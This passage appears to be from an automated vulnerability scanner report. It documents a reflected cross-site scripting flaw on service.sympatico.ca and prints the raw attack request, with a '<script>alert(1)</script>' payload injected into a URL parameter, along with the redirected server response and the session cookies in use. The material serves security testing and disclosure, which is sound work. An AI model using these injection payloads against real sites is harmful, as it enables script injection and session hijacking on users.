Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:42 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C580a8"><script>alert(1)</script>4076d963b27/images/bt_leftFAQ_off_en.gif" />
...[SNIP]...

2.103. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c305"><script>alert(1)</script>370bb343bab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images6c305"><script>alert(1)</script>370bb343bab/bt_leftFAQ_off_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:50 GMT
Connection: close
Set-Cookie: SMSESSION=da4fBhnRCaz+HC6mC94RHgu3tiqiXBiFHY1JKycaWoVCFA3kKByk9qfXVhFh10zraU6Qeth8ywPTWAVVNeaOQ78Efv7GG16tufp3ZVxknET43GSlV6d4IC/R9tI1I44JSL81r+MPBpkKXwOlTYqpRm5DwGAGw0JbqwyIjtVzAWX10puDwl8Bz0mYdLHo7ppLeVJIFKC/D91Yxz2qpG2m+lPq8heJw7AFmlazUph6AvSYElMSP0wowg+Vg2BgH+PLA1SvCsNsB/2g0Chx9SkZBvbFsjJxETBQvNS29Yow2VUh1zioSJi9tA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security